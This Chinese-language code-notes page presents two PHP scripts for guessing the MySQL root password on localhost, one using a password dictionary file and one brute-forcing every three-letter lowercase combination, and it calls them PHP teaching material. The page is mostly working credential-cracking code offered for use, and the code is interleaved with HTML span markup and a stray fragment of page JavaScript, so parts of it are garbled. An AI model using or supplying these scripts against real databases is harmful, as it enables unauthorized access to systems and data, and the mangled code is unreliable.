程式碼筆記
php本地猜解MYSQL-字典檔案猜解
<code><span><span><?</span> set_time_limit(<span>0</span>); <span>//脚本不超时</span><span>$user</span>=”root”; <span>//用户名</span><span>//$passwd=file(“password.txt”); //密码字典</span><span>//for($i=0;$i<count($passwd);$i++){</span><span>//$pass=$passwd[$i];</span> connect(<span>$user</span>,<span>$pass</span>); flush(); <span>//}</span><span>echo</span> “扫描结束!”; <span><span>function</span><span>connect</span><span>(<span>$user</span>,<span>$pass</span>)</span> {</span><span>$conn</span>=@mysql_connect(“localhost”,<span>$user</span>,<span>$pass</span>); <span>if</span>(<span>$conn</span>){ <span>echo</span> “<font color=’<span>#0000FF’><b>得到密码:<font color=’#FF0000′>”.$pass.”</font>!!!</b></font>”;</span><span>exit</span>(); } <span>else</span> { <span>echo</span><span>$pass</span>.’ ‘; } } <span>?></span></span></code>
php本地猜解MYSQL-暴力猜解
<code><textarea rows=<span>25</span> cols=<span>90</span> id=’t1′> <span><?php</span> set_time_limit(<span>0</span>); <span>$fruit</span>=<span>array</span> (‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r ‘,’s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’); <span>//密码组合单个字符</span><span>$mmcd</span>=<span>3</span>; <span>//密码长度</span><span>$jlcs1</span>=<span>0</span>; <span>$dishes</span>[]=range(<span>1</span>,<span>$mmcd</span>); <span>//开始循环</span><span>for</span>(<span>$i</span>=<span>0</span>;<span>$i</span><<span>$mmcd</span>;<span>$i</span>++){ <span>foreach</span>(<span>$dishes</span><span>as</span><span>$k</span>=><span>$v</span>){ <span>foreach</span>(<span>$fruit</span><span>as</span><span>$_fruit</span>){ <span>$v</span>[<span>$i</span>]=<span>$_fruit</span>; <span>$dishes</span>[]=<span>$v</span>; <span>unset</span>(<span>$dishes</span>[<span>$k</span>]); <span>$t</span>=implode(”,<span>$v</span>); <span>$user</span>=<span>'root'</span>; <span>$pass</span>=<span>$t</span>; <span>$conn</span>=@mysql_connect(‘localhost’,<span>$user</span>,<span>$pass</span>); <span>//每生成800个密码自动删除文本框并创建一个文本框</span><span>$jlcs1</span>=<span>$jlcs1</span>+<span>1</span>; <span>if</span>(<span>$jlcs1</span>==<span>800</span>){ <span>echo</span> “</textarea>”; <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”; <span>$jlcs1</span>=<span>0</span>; } <span>//测试密码</span><span>if</span>(<span>$conn</span>){ <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “</textarea>”; <span>echo</span> “<font color=’<span>#0000FF’><b>得到密码: <font</span> color=’<span>#FF0000′>”.$pass.”</font>! ! ! </b></font>”;</span><span>exit</span>(); } <span>else</span> { <span>echo</span><span>$pass</span>.’ ‘; } flush(); } } <span>//总循环输出</span><span>echo</span> “</textarea>”; <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”; <span>echo</span> ‘扫描’,<span>$i</span>+<span>1</span>,<span>'!'</span>; } <span>?></span></code>').addClass('pre-numbering').hide(); $(this).addClass('has-numbering').parent().append($numbering); for (i = 1; i ').text(i)); }; $numbering.fadeIn(1700); }); });
以上就介紹了php本地猜解MYSQL,包括了Mysql方面的內容,希望對PHP教學有興趣的朋友有幫助。